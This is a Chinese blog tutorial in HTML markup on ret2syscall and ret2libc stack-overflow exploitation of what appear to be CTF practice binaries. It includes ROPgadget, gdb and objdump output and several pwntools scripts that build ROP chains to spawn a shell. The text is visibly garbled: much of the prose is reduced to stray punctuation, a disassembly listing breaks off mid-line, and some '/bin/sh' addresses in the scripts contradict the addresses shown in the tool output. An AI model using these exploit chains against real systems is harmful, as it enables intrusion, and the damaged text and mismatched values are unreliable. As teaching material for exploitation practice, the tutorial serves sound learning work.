< h1 id = "0x03-ret2syscall" > < a href = "#0x03-ret2syscall" class = "headerlink" title = "0x03 ret2syscall" > < / a > 0x03 ret2syscall< / h1 > < h2 id = "原理-2" > < a href = "#原理-2" class = "headerlink" title = "原理" > < / a > 原理< / h2 > < p > ret2syscall， ， ‘ ’ < br > 如果没法找到的话，我们就得自己去构造系统调用< br > 简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell< br > < code > execve(" /bin/sh" ,NULL,NULL)< / code > < br > 其中，该程序是 32 位，所以我们需要使得< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 系统调用号，即 eax 应该为 0xb< / span > < br > < span class = "line" > 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。< / span > < br > < span class = "line" > 第二个参数，即 ecx 应该为 0< / span > < br > < span class = "line" > 第三个参数，即 edx 应该为 0< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h2 id = "获取跳板" > < a href = "#获取跳板" class = "headerlink" title = "获取跳板" > < / a > 获取跳板< / h2 > < p > 那么我们如何去控制这4个寄存器的值， ， ， ， ， ， ， < br > 首先，我们来寻找控制 eax 的 gadgets< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ ROPgadget --binary ret2syscall --only ' pop|ret' |grep eax< / span > < br > < span class = "line" > 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret< / span > < br > < span class = "line" > 0x080bb196 : pop eax ; ret< / span > < br > < span class = "line" > 0x0807217a : pop eax ; ret 0x80e< / span > < br > < span class = "line" > 0x0804f704 : pop eax ; ret 3< / span > < br > < span class = "line" > 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 类似的，我们可以得到控制其它寄存器的 gadgets< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ ROPgadget --binary ret2syscall --only ' pop|ret' |grep ebx< / span > < br > < span class = "line" > 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret< / span > < br > < span class = "line" > 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret< / span > < br > < span class = "line" > 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret< / span > < br > < span class = "line" > 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret< / span > < br > < span class = "line" > 0x080be23f : pop ebx ; pop edi ; ret< / span > < br > < span class = "line" > 0x0806eb69 : pop ebx ; pop edx ; ret< / span > < br > < span class = "line" > 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret< / span > < br > < span class = "line" > 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret< / span > < br > < span class = "line" > 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10< / span > < br > < span class = "line" > 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14< / span > < br > < span class = "line" > 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc< / span > < br > < span class = "line" > 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4< / span > < br > < span class = "line" > 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8< / span > < br > < span class = "line" > 0x08048913 : pop ebx ; pop esi ; pop edi ; ret< / span > < br > < span class = "line" > 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4< / span > < br > < span class = "line" > 0x08049a94 : pop ebx ; pop esi ; ret< / span > < br > < span class = "line" > 0x080481c9 : pop ebx ; ret< / span > < br > < span class = "line" > 0x080d7d3c : pop ebx ; ret 0x6f9< / span > < br > < span class = "line" > 0x08099c87 : pop ebx ; ret 8< / span > < br > < span class = "line" > 0x0806eb91 : pop ecx ; pop ebx ; ret< / span > < br > < span class = "line" > 0x0806336b : pop edi ; pop esi ; pop ebx ; ret< / span > < br > < span class = "line" > 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret< / span > < br > < span class = "line" > 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret< / span > < br > < span class = "line" > 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret< / span > < br > < span class = "line" > 0x0805c820 : pop esi ; pop ebx ; ret< / span > < br > < span class = "line" > 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret< / span > < br > < span class = "line" > 0x0807b6ed : pop ss ; pop ebx ; ret< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 现在， ： < br > < code > 0x080bb196 : pop eax ; ret< / code > < br > < code > 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret< / code > < / p >
< p > 另外， ’ ’ ， < br > 所以要搜索，看看程序中有没有< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ ROPgadget --binary ret2syscall --only int< / span > < br > < span class = "line" > Gadgets information< / span > < br > < span class = "line" > ============================================================< / span > < br > < span class = "line" > 0x08049421 : int 0x80< / span > < br > < span class = "line" > 0x080938fe : int 0xbb< / span > < br > < span class = "line" > 0x080869b5 : int 0xf6< / span > < br > < span class = "line" > 0x0807b4d4 : int 0xfc< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Unique gadgets found: 4< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ ROPgadget --binary ret2syscall --string ' /bin/sh' < / span > < br > < span class = "line" > Strings information< / span > < br > < span class = "line" > ============================================================< / span > < br > < span class = "line" > 0x080be42c : /bin/sh< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "测试-1" > < a href = "#测试-1" class = "headerlink" title = "测试" > < / a > 测试< / h2 > < figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > from< / span > pwn < span class = "keyword" > import< / span > *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(< span class = "string" > './ret2syscall'< / span > )< / span > < br > < span class = "line" > offset = < span class = "number" > 0x6c< / span > + < span class = "number" > 4< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > pop_eax_ret = < span class = "number" > 0x080bb196< / span > < / span > < br > < span class = "line" > pop_edx_ecx_ebx_ret = < span class = "number" > 0x0806eb90< / span > < / span > < br > < span class = "line" > binsh = < span class = "number" > 0x080be408< / span > < / span > < br > < span class = "line" > int_0x80 = < span class = "number" > 0x08049421< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > payload = < span class = "string" > 'A'< / span > *offset + p32(pop_eax_ret) + p32(< span class = "number" > 0xb< / span > ) + p32(pop_edx_ecx_ebx_ret) + p32(< span class = "number" > 0< / span > ) + p32(< span class = "number" > 0< / span > ) + p32(binsh) + p32(int_0x80)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > payload = flat(< span class = "string" > 'A'< / span > *offset , pop_eax_ret , < span class = "number" > 0xb< / span > , pop_edx_ecx_ebx_ret , < span class = "number" > 0< / span > , < span class = "number" > 0< / span > , binsh,int_0x80)< / span > < br > < span class = "line" > print(payload)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< blockquote >
< ol >
< li > flat()< br > 在pwntools中可以用flat()來构造rop， ， ， ： ： < / li >
< / ol >
< / blockquote >
< hr >
< h1 id = "0x04-ret2libc" > < a href = "#0x04-ret2libc" class = "headerlink" title = "0x04 ret2libc" > < / a > 0x04 ret2libc< / h1 > < h2 id = "原理-3" > < a href = "#原理-3" class = "headerlink" title = "原理" > < / a > 原理< / h2 > < p > 我们知道程序调用了libc.so， ， ， ， ， < / p >
< h2 id = "1-程序中有system和’ ’ > < a href = "#1-程序中有system和’ ’ class = "headerlink" title = "1. 程序中有system和’ ’ > < / a > 1. 程序中有system和’ ’ < / h2 > < h3 id = "检查保护-1" > < a href = "#检查保护-1" class = "headerlink" title = "检查保护" > < / a > 检查保护< / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ checksec ret2libc1< / span > < br > < span class = "line" > [*] ' /home/han/ck/pwn/linux/ret2libc/ret2libc1' < / span > < br > < span class = "line" > Arch: i386-32-little< / span > < br > < span class = "line" > RELRO: Partial RELRO< / span > < br > < span class = "line" > Stack: No canary found< / span > < br > < span class = "line" > NX: NX enabled< / span > < br > < span class = "line" > PIE: No PIE (0x8048000)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h3 id = "确定漏洞位置" > < a href = "#确定漏洞位置" class = "headerlink" title = "确定漏洞位置" > < / a > 确定漏洞位置< / h3 > < figure class = "highlight c" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > int< / span > __< span class = "function" > cdecl < span class = "title" > main< / span > < span class = "params" > (< span class = "keyword" > int< / span > argc, < span class = "keyword" > const< / span > < span class = "keyword" > char< / span > **argv, < span class = "keyword" > const< / span > < span class = "keyword" > char< / span > **envp)< / span > < / span > < / span > < br > < span class = "line" > < span class = "function" > < / span > { < / span > < br > < span class = "line" > < span class = "keyword" > int< / span > v4; < span class = "comment" > // [sp+1Ch] [bp-64h]@1< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > setvbuf(< span class = "built_in" > stdout< / span > , < span class = "number" > 0< / span > , < span class = "number" > 2< / span > , < span class = "number" > 0< / span > );< / span > < br > < span class = "line" > setvbuf(_bss_start, < span class = "number" > 0< / span > , < span class = "number" > 1< / span > , < span class = "number" > 0< / span > );< / span > < br > < span class = "line" > < span class = "built_in" > puts< / span > (< span class = "string" > "RET2LIBC > _< "< / span > );< / span > < br > < span class = "line" > gets((< span class = "keyword" > char< / span > *)& v4);< / span > < br > < span class = "line" > < span class = "keyword" > return< / span > < span class = "number" > 0< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h3 id = "计算偏移-1" > < a href = "#计算偏移-1" class = "headerlink" title = "计算偏移" > < / a > 计算偏移< / h3 > < h3 id = "寻找跳板-1" > < a href = "#寻找跳板-1" class = "headerlink" title = "寻找跳板" > < / a > 寻找跳板< / h3 > < ol >
< li > < p > system_plt< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > .plt:08048460 _system proc near ; CODE XREF: secure+44< / span > < br > < span class = "line" > .plt:08048460 jmp ds:off_804A018< / span > < br > < span class = "line" > .plt:08048460 _system endp< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< / li >
< li > < p > ‘ ’ < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ ROPgadget --binary ret2libc1 --string ' /bin/sh' < / span > < br > < span class = "line" > Strings information< / span > < br > < span class = "line" > ============================================================< / span > < br > < span class = "line" > 0x08048744 : /bin/sh< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< / li >
< / ol >
< h3 id = "pwn测试-2" > < a href = "#pwn测试-2" class = "headerlink" title = "pwn测试" > < / a > pwn测试< / h3 > < figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > from< / span > pwn < span class = "keyword" > import< / span > *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(< span class = "string" > './ret2libc1'< / span > )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > offset =< span class = "number" > 112< / span > < / span > < br > < span class = "line" > binsh = < span class = "number" > 0x08048720< / span > < / span > < br > < span class = "line" > system_plt = < span class = "number" > 0x08048460< / span > < / span > < br > < span class = "line" > fake_ret = < span class = "string" > 'bbbb'< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > payload = flat([< span class = "string" > 'a'< / span > *offset,system_plt,fake_ret,binsh])< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > fake_ret是调用system之后的返回地址， < / p >
< h2 id = "2-没有binsh" > < a href = "#2-没有binsh" class = "headerlink" title = "2. 没有binsh" > < / a > 2. 没有binsh< / h2 > < p > 需要我们自己来读取字符串，所以我们需要两个 gadgets， ， ’ ’ ， < / p >
< p > 我们在.bss段发现了未利用的buf2， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > .bss:0804A080 public buf2< / span > < br > < span class = "line" > .bss:0804A080 ; char buf2[100]< / span > < br > < span class = "line" > .bss:0804A080 buf2 db 64h dup(?)< / span > < br > < span class = "line" > .bss:0804A080 _bss ends< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > from pwn import *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(' ./ret2libc2' )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > gets_plt = 0x08048460< / span > < br > < span class = "line" > pop_ebx = 0x0804843d< / span > < br > < span class = "line" > system_plt = 0x08048490< / span > < br > < span class = "line" > buf2_add = 0x804a080< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > payload = flat([' a' *112,gets_plt,pop_ebx,buf2_add,system_plt,0xdeadbeef,buf2_add])< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > p.sendline(' /bin/sh' )< / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > buf2_add是gets的参数， ， < / p >
< h2 id = "3-两个都没有-amp-无ASLR" > < a href = "#3-两个都没有-amp-无ASLR" class = "headerlink" title = "3. 两个都没有&无ASLR" > < / a > 3. 两个都没有& 无ASLR< / h2 > < p > 程序中两个都没有， ’ ’ < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ checksec ret2libc3< / span > < br > < span class = "line" > [*] ' /home/han/ck/pwn/linux/ret2libc/ret2libc3' < / span > < br > < span class = "line" > Arch: i386-32-little< / span > < br > < span class = "line" > RELRO: Partial RELRO< / span > < br > < span class = "line" > Stack: No canary found< / span > < br > < span class = "line" > NX: NX enabled< / span > < br > < span class = "line" > PIE: No PIE (0x8048000)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h3 id = "寻找跳板-2" > < a href = "#寻找跳板-2" class = "headerlink" title = "寻找跳板" > < / a > 寻找跳板< / h3 > < p > 这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。< br > 我们首先在main函数上下一个断点， ， ， ， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > Breakpoint 1, main () at ret2libcGOT.c:20< / span > < br > < span class = "line" > 20 ret2libcGOT.c: No such file or directory.< / span > < br > < span class = "line" > gdb-peda$ print system< / span > < br > < span class = "line" > $1 = { < text variable, no debug info> } 0xf7e19d10 < system> < / span > < br > < span class = "line" > gdb-peda$ print __libc_start_main< / span > < br > < span class = "line" > $2 = { < text variable, no debug info> } 0xf7df5d90 < __libc_start_main> < / span > < br > < span class = "line" > gdb-peda$ find 0xf7df5d90,+2200000," /bin/sh" < / span > < br > < span class = "line" > Searching for ' 0xf7df5d90,+2200000,/bin/sh' in: None ranges< / span > < br > < span class = "line" > Search for a pattern in memory; support regex search< / span > < br > < span class = "line" > Usage:< / span > < br > < span class = "line" > searchmem pattern start end< / span > < br > < span class = "line" > searchmem pattern mapname< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > gdb-peda$ find " /bin/sh" < / span > < br > < span class = "line" > Searching for ' /bin/sh' in: None ranges< / span > < br > < span class = "line" > Found 1 results, display max 1 items:< / span > < br > < span class = "line" > libc : 0xf7f588cf (" /bin/sh" )< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h3 id = "测试-2" > < a href = "#测试-2" class = "headerlink" title = "测试" > < / a > 测试< / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > from pwn import *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(' ./ret2libc3' )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > offset = 112< / span > < br > < span class = "line" > system_addr = 0xf7e19d10< / span > < br > < span class = "line" > binsh = 0xf7f588cf< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > payload = flat([' a' *112,system_addr,0xdeabeef,binsh])< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< hr >
< h2 id = "4-两个都没有-amp-有ASLR" > < a href = "#4-两个都没有-amp-有ASLR" class = "headerlink" title = "4. 两个都没有&有ASLR" > < / a > 4. 两个都没有& 有ASLR< / h2 > < p > 通过< code > sudo cat /proc/[pid]/maps< / code > 或者< code > ldd< / code > 查看， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ ldd ret2libc3< / span > < br > < span class = "line" > linux-gate.so.1 (0xf7f43000)< / span > < br > < span class = "line" > libc.so.6 => /lib32/libc.so.6 (0xf7d4c000)< / span > < br > < span class = "line" > /lib/ld-linux.so.2 (0xf7f45000)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > han at ubuntu in ~/ck/pwn/linux/ret2libc< / span > < br > < span class = "line" > $ ldd ret2libc3< / span > < br > < span class = "line" > linux-gate.so.1 (0xf7f96000)< / span > < br > < span class = "line" > libc.so.6 => /lib32/libc.so.6 (0xf7d9f000)< / span > < br > < span class = "line" > /lib/ld-linux.so.2 (0xf7f98000)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 那么如何解决地址随机化的问题呢？ ： ， ， ， ， ？ ， ， ： < / p >
< p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1563267241/pwn/4a7227aa9f00bd2fd45d363da4cf25c6fd425638.jpg" alt > < br > 也就是说程序内存映像是没有随机的< / p >
< p > 首先我们利用< code > objdump< / code > 来查看可以利用的plt函数和函数对应的got表： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < span class = "line" > 68< / span > < br > < span class = "line" > 69< / span > < br > < span class = "line" > 70< / span > < br > < span class = "line" > 71< / span > < br > < span class = "line" > 72< / span > < br > < span class = "line" > 73< / span > < br > < span class = "line" > 74< / span > < br > < span class = "line" > 75< / span > < br > < span class = "line" > 76< / span > < br > < span class = "line" > 77< / span > < br > < span class = "line" > 78< / span > < br > < span class = "line" > 79< / span > < br > < span class = "line" > 80< / span > < br > < span class = "line" > 81< / span > < br > < span class = "line" > 82< / span > < br > < span class = "line" > 83< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ objdump -d -j .plt ./ret2libc3< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ./ret2libc3: file format elf32-i386< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Disassembly of section .plt:< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 08048420 < .plt> :< / span > < br > < span class = "line" > 8048420: ff 35 04 a0 04 08 pushl 0x804a004< / span > < br > < span class = "line" > 8048426: ff 25 08 a0 04 08 jmp *0x804a008< / span > < br > < span class = "line" > 804842c: 00 00 add %al,(%eax)< / span > < br > < span class = "line" > ...< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 08048430 < printf@plt> :< / span > < br > < span class = "line" > 8048430: ff 25 0c a0 04 08 jmp *0x804a00c< / span > < br > < span class = "line" > 8048436: 68 00 00 00 00 push $0x0< / span > < br > < span class = "line" > 804843b: e9 e0 ff ff ff jmp 8048420 < .plt> < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 08048440 < gets@plt> :< / span > < br > < span class = "line" > 8048440: ff 25 10 a0 04 08 jmp *0x804a010< / span > < br > < span class = "line" > 8048446: 68 08 00 00 00 push $0x8< / span > < br > < span class = "line" > 804844b: e9 d0 ff ff ff
< p > 思路： < strong > libc_start_main在内存中的地址， < / strong > libc_start_main@got。< br > 既然puts()函数实现是在libc.so当中， < strong > 延时绑定技术< / strong > ， ， ， < br > 由于 libc 的延迟绑定机制，我们需要泄漏< strong > 已经执行过的函数的地址< / strong > 。这里我们泄露 libc_start_main 的地址，这是因为它是程序< strong > 最初被执行< / strong > 的地方。< / p >
